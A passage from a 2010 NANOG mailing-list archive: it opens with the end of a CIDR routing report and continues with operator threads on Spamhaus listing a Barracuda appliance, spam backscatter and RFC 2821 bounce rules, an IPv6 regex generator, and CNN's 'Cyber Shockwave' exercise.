O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 172.7.0.0/24 AS36992 ETISALAT-MISR 182.48.64.0/19 AS38556 MIRAE-BD-AP SK Networks (previously Mirae Co., Ltd.) Internet Service Provider,System Integrator,Telecommunication Solution Provider, Dhaka, Bangladesh 190.102.32.0/20 AS30058 FDCSERVERS - FDCservers.net 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Axtel, S.A.B. de C. V. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service X-WiN 192.124.252.0/22 AS680 DFN-IP service X-WiN 192.129.127.0/24 AS6568 Ag para el Desarrollo de la Sociedad de la Inf en Bolivia - ADSIB 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.139.3.0/24 AS23184 PERSONA - PERSONA COMMUNICATIONS INC. 192.153.144.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.154.64.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 196.2.224.0/22 AS24863 LINKdotNET-AS 196.6.108.0/24 AS5713 SAIX-NET 196.13.201.0/24 AS2018 TENET-1 196.13.202.0/24 AS2018 TENET-1 196.13.203.0/24 AS2018 TENET-1 196.13.204.0/24 AS2018 TENET-1 196.29.40.0/22 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 196.32.96.0/20 AS33787 196.201.248.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.249.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.250.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.251.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.253.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.254.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.255.0/24 AS30991 SAHANNET Sahannet AS Network 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 196.216.4.0/22 AS23889 MAURITIUS-TELECOM-AS-AP 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS33052 VZUNET - Verizon Data Services LLC 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.97.72.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.96.0/19 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.240.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.135.236.0/24 AS4358 XNET - XNet Information Systems, Inc. 198.161.82.0/23 AS15290 ALLST-15290 - Allstream Corp. 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.161.92.0/24 AS6539 GT-BELL - Bell Canada 198.163.214.0/24 AS21804 ACCESS-SK - Access Communications Co-operative Limited 198.163.215.0/24 AS6327 SHAW - Shaw Communications Inc. 198.163.216.0/24 AS6327 SHAW - Shaw Communications Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 198.182.235.0/24 AS3356 LEVEL3 Level 3 Communications 199.10.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.16.32.0/19 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 199.26.183.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.114.128.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.130.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.131.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.132.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.136.0/24 AS27044 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.138.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.144.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.148.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.150.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.152.0/24 AS27033 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.153.0/24 AS27034 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.0.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.16.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.80.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.185.130.0/23 AS19662 UNISERVE-ONLINE - Uniserve On Line 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.233.92.0/24 AS26896 D102-ITC - Data 102, LLC 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 200.1.112.0/24 AS29754 GO2TEL GO2TEL.COM INC. 200.108.176.0/20 AS14551 UUNET-SA - MCI Communications Services, Inc. d/b/a Verizon Business 202.9.55.0/24 AS2764 AAPT AAPT Limited 202.9.57.0/24 AS2764 AAPT AAPT Limited 202.38.48.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.49.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.50.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.51.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.52.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.54.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.55.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.56.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.57.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.58.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.59.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.60.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.61.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.62.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.63.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.58.113.0/24 AS19161 202.61.72.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.73.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.75.0/24 AS9927 PHILCOMNET-PH A Multihomed ISP Company 202.66.128.0/18 AS9584 GENESIS-AP Diyixian.com Limited 202.66.184.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.186.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.188.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.189.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.190.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.79.224.0/21 AS9519 VERTELNET Vertical Telecoms Pty Ltd 202.80.192.0/20 AS2706 PI-HK Pacnet Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.87.102.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.133.37.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.166.160.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.161.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.162.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.163.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.164.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.165.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.166.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.169.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.171.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.172.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.175.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.174.70.0/24 AS21175 WIS Wind International Services SA 202.174.125.0/24 AS9498 BBIL-AP BHARTI Airtel Ltd. 202.176.1.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.80.136.0/21 AS4759 EVOSERVE-AS-AP EvoServe is a content and online access Internet provider company 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.142.219.0/24 AS45149 203.189.96.0/20 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.15.168.0/21 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.15.170.0/24 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.197.0.0/16 AS3356 LEVEL3 Level 3 Communications 204.209.114.0/24 AS13768 PEER1 - Peer 1 Network Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.108.96.0/19 AS577 BACOM - Bell Canada 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.132.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.152.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.154.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.155.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.188.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.189.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.190.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.191.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.66.152.0/24 AS18499 208.66.153.0/24 AS18499 208.66.154.0/24 AS18499 208.66.155.0/24 AS18499 208.66.156.0/24 AS18499 208.66.157.0/24 AS18499 208.66.158.0/24 AS18499 208.66.159.0/24 AS18499 208.73.4.0/22 AS27630 PREMIER - Premier Innovations, LLC 208.77.224.0/22 AS174 COGENT Cogent/PSI 208.77.229.0/24 AS174 COGENT Cogent/PSI 208.77.230.0/23 AS174 COGENT Cogent/PSI 208.78.164.0/24 AS16565 208.78.165.0/24 AS16565 208.78.167.0/24 AS16565 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.87.208.0/24 AS31997 209.87.209.0/24 AS31997 209.87.210.0/24 AS31997 209.87.211.0/24 AS31997 209.87.212.0/22 AS31997 209.87.216.0/24 AS31997 209.87.217.0/24 AS31997 209.87.218.0/24 AS31997 209.87.219.0/24 AS31997 209.87.220.0/24 AS31997 209.87.221.0/24 AS31997 209.87.222.0/24 AS31997 209.87.223.0/24 AS31997 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.177.160.0/24 AS18499 209.177.161.0/24 AS18499 209.177.162.0/24 AS18499 209.177.163.0/24 AS18499 209.177.164.0/24 AS18499 209.177.165.0/24 AS18499 209.177.166.0/24 AS18499 209.177.167.0/24 AS18499 209.177.168.0/24 AS18499 209.177.169.0/24 AS18499 209.177.170.0/24 AS18499 209.177.171.0/24 AS18499 209.177.172.0/24 AS18499 209.177.173.0/24 AS18499 209.177.174.0/24 AS18499 209.177.175.0/24 AS18499 209.213.0.0/20 AS33005 ELTOPIA - Eltopia.com, LLC 209.213.1.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 209.213.4.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 210.56.150.0/23 AS38138 INTECH-TRANSIT-BD InTech Online Limited, INTERNET SERVICE LIMITED 210.247.224.0/19 AS7496 WEBCENTRAL-AS WebCentral 213.150.96.0/21 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.104.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.112.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 216.21.196.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.201.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.202.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.206.0/23 AS12251 INVISION - Invision.com, Inc. 216.58.192.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.197.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.200.0/24 AS18530 ISOMEDIA-1 - Isomedia Inc. 216.144.240.0/23 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.243.0/24 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.244.0/22 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.163.144.0/20 AS35985 ONERINGNET-ATL-1 - One Ring Networks, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.250.112.0/20 AS7296 ALCHEMYNET - Alchemy Communications, Inc. 216.250.116.0/24 AS36066 UNI-MARKETING-ALLIANCE - Webhost4life.com 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.29.208.0/23 AS33774 DJAWEB 217.29.212.0/23 AS33774 DJAWEB Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From schampeo at hesketh.com Fri Feb 19 16:03:32 2010 From: schampeo at hesketh.com (Steven Champeon) Date: Fri, 19 Feb 2010 17:03:32 -0500 Subject: Spamhaus... In-Reply-To: <4B7D0D7D.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> Message-ID: <20100219220332.GB6928@hesketh.com> on Thu, Feb 18, 2010 at 09:50:59AM -0800, Crist Clark wrote: > Spamhaus does some good work, but being used as a pawn in > some conflict between vendors doesn't feel nice. And I want to > know how they figured out we had a Barracuda. If it's connected to the 'Net and listening on port 25, it's rather obvious in the SMTP banner. As far as I know, only Barracudas use the parenthized 32-char hex in their banners. 220 ham.globalstar.com ESMTP (025830353ddfaf0a57c33778b8725ad9) HTH, Steve -- hesketh.com/inc. v: +1(919)834-2552 f: +1(919)834-2553 w: http://hesketh.com/ antispam news and intelligence to help you stop spam: http://enemieslist.com/ From phil.pennock at spodhuis.org Fri Feb 19 19:08:50 2010 From: phil.pennock at spodhuis.org (Phil Pennock) Date: Sat, 20 Feb 2010 02:08:50 +0100 Subject: Regular Expression for IPv6 addresses In-Reply-To: <4912284@blitz.dartware.com> References: <4912284@blitz.dartware.com> Message-ID: <20100220010850.GA28582@redoubt.spodhuis.org> On 2010-02-04 at 17:50 -0500, Richard E. Brown wrote: > My company, Dartware, have derived a regex for testing whether an IPv6 address > is correct. I've posted it in my blog: > > http://intermapper.ning.com/profiles/blogs/a-regular-expression-for-ipv6 > > This has links to the regular expression, a (Perl) program that tests various > correct and malformed addresses, and a Ruby implementation of the same. There's a full grammar in RFC 3986 (URI Generic Syntax) already, which can be translated straight. It too handles the embedded IPv4 addresses. While your code is written in a more condensed manner, those who want to be able to cross-check against the RFC might want to take a look at this one, which emits a PCRE regexp: http://people.spodhuis.org/phil.pennock/software/emit_ipv6_regexp-0.304 http://people.spodhuis.org/phil.pennock/software/emit_ipv6_regexp-0.304.asc (Version numbers for repository, not for that one script :) ). FWIW, the ability to grab a shell variable which contains an RE for IPv6 addresses, which can be used in: pcregrep "$ipv6_regex" log_file has proven very useful, especially when debugging newly-added IPv6 support for an app. This is also the most coherent justification I've come up with so far for using a regexp instead of a dedicated parser, other than "because I could". Regards, -Phil From bill at herrin.us Fri Feb 19 19:20:36 2010 From: bill at herrin.us (William Herrin) Date: Fri, 19 Feb 2010 20:20:36 -0500 Subject: Spamhaus... In-Reply-To: <20100219203030.GA13374@gsp.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> Message-ID: <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: > Barracuda's engineers apparently think > that using SPF stops backscatter -- and it most emphatically does not. > > Reject gooooood, bounce baaaaaaad. [1] Whine all you want about backscatter but until you propose a comprehensive solution that's still reasonably compatible with RFC 2821's section 3.7 you're just talking trash. "If an SMTP server has accepted the task of relaying the mail and later finds that the destination is incorrect or that the mail cannot be delivered for some other reason, then it MUST construct an "undeliverable mail" notification message and send it to the originator of the undeliverable mail (as indicated by the reverse-path)." Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From LarrySheldon at cox.net Fri Feb 19 19:35:26 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Fri, 19 Feb 2010 19:35:26 -0600 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <4B7F3C5E.8000406@cox.net> On 2/19/2010 7:20 PM, William Herrin wrote: > On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: >> Barracuda's engineers apparently think >> that using SPF stops backscatter -- and it most emphatically does not. >> >> Reject gooooood, bounce baaaaaaad. [1] > > Whine all you want about backscatter but until you propose a > comprehensive solution that's still reasonably compatible with RFC > 2821's section 3.7 you're just talking trash. > > "If an SMTP server has accepted the task of relaying the mail and > later finds that the destination is incorrect or that the mail cannot > be delivered for some other reason, then it MUST construct an > "undeliverable mail" notification message and send it to the > originator of the undeliverable mail (as indicated by the > reverse-path)." Does the RFC say what to do if the reverse-path has been damaged and now points to somebody who had nothing what ever to do with the email? Do your SNMP clients respond truthfully to EXPN requests? How about source-routed traffic? ICMP requests? Recursive DNS requests? If not, why not? I don't run any sites anymore, but when I did, unsolicited traffic (traffic not in response to traffic from somebody on my network) was blocked when detected, and remained blocked until somebody inside our boundary complained, and on second occurrence until my management directed me to remove the block. "in response to our traffic" was a situational matter determined by reasonable people on a case by case basis as required. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From randy at psg.com Fri Feb 19 20:02:40 2010 From: randy at psg.com (Randy Bush) Date: Sat, 20 Feb 2010 11:02:40 +0900 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: >> Reject gooooood, bounce baaaaaaad. [1] > Whine all you want about backscatter but until you propose a > comprehensive solution that's still reasonably compatible with RFC > 2821's section 3.7 you're just talking trash. no, rich is talking operation pragmatics. more and more these years, rfcs are where the rubber meets the sky. but if you really like backscatter, i think i can find a few megabytes a day for you. no problem. randy From andrew.wallace at rocketmail.com Fri Feb 19 20:28:22 2010 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Fri, 19 Feb 2010 18:28:22 -0800 (PST) Subject: "Cyber Shockwave" on CNN Message-ID: <145451.45977.qm@web59608.mail.ac4.yahoo.com> US carried out "Cyber Shockwave" - an exercise by non-government actors who have close relations to the government past. The results will be aired on CNN this weekend. Intelligence suggests the scenario was not standard and that a crash in the smart phone network was used as a concept of how US National Security *could* be compromised in 2011. CNN had exclusive television access to the national security cyber ?war game? scenario. The simulated attack took place on Tuesday and was host by members of The Bipartisan Policy Center and will debut on Saturday, Feb. 20 and Sunday, Feb. 21 at 8pm, 11pm and 2am ET on CNN. I hope the Nanog community can tune in or watch later on catch up services and give feedback on your thoughts. Kind regards, Andrew From randy at psg.com Fri Feb 19 21:10:05 2010 From: randy at psg.com (Randy Bush) Date: Sat, 20 Feb 2010 12:10:05 +0900 Subject: "Cyber Shockwave" on CNN In-Reply-To: <145451.45977.qm@web59608.mail.ac4.yahoo.com> References: <145451.45977.qm@web59608.mail.ac4.yahoo.com> Message-ID: the details were in the press days ago. 83.2% scare, negligible lessons we can actually put in practice without becoming (more of) a police state. randy From bill at herrin.us Fri Feb 19 21:52:23 2010 From: bill at herrin.us (William Herrin) Date: Fri, 19 Feb 2010 22:52:23 -0500 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <3c3e3fca1002191952t50457377ue762e9b81f8c8d83@mail.gmail.com> On Fri, Feb 19, 2010 at 9:02 PM, Randy Bush wrote: >>> Reject gooooood, bounce baaaaaaad. [1] >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. > > no, rich is talking operation pragmatics. ?more and more these years, > rfcs are where the rubber meets the sky. > > but if you really like backscatter, i think i can find a few megabytes a > day for you. ?no problem. Randy, Feel free to bounce as much spam forged with my return address as you like, so long as you first follow at least the bounce suppression criteria I do: No bounce if the message claimed to be from a mailing list. No bounce if the spam scored higher than 8 in spamassassin No bounce if the server which you received the spam from doesn't match my domain's published SPF records evaluated as if "~all" and "?all" are "-all" I figure I can handle the additional -zero- messages... And I can manage it without mysteriously dropping false-positives off into the ether. I agree backscatter is a nasty problem but as solutions go, "reject gooooood, bounce baaaaaaad" sucks. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From bill at herrin.us Fri Feb 19 22:32:10 2010 From: bill at herrin.us (William Herrin) Date: Fri, 19 Feb 2010 23:32:10 -0500 Subject: Spamhaus... In-Reply-To: <4B7F3C5E.8000406@cox.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <4B7F3C5E.8000406@cox.net> Message-ID: <3c3e3fca1002192032n611955er21b21f935a94bb01@mail.gmail.com> On Fri, Feb 19, 2010 at 8:35 PM, Larry Sheldon wrote: > On 2/19/2010 7:20 PM, William Herrin wrote: >> "If an SMTP server has accepted the task of relaying the mail and >> later finds that the destination is incorrect or that the mail cannot >> be delivered for some other reason, then it MUST construct an >> "undeliverable mail" notification message and send it to the >> originator of the undeliverable mail (as indicated by the >> reverse-path)." > > Does the RFC say what to do if the reverse-path has been > damaged and now points to somebody who had nothing > what ever to do with the email? Hi Larry, Re-reading the paragraph I quoted and you repeated, I'm going to say that the answer is "yes." SMTP had been around for a long time when 2821 was written, as had spam. I doubt leaving the "must" in section 3.7 was an oversight. Even if it was, I didn't suggest rote adherence to the RFC. I said, "reasonably compatible with RFC 2821's section 3.7." Dropping all bounce messages on the floor -- the exact opposite of 3.7 -- is not "reasonably compatible." > Do your SNMP clients respond truthfully to EXPN requests? I assume you mean "SMTP servers" here rather than "SNMP clients." 2821 rightly leaves EXPN as a "should" instead of a "must." And yes, they respond truthfully -- with an prohibited operation error. > I don't run any sites anymore, but when I did, 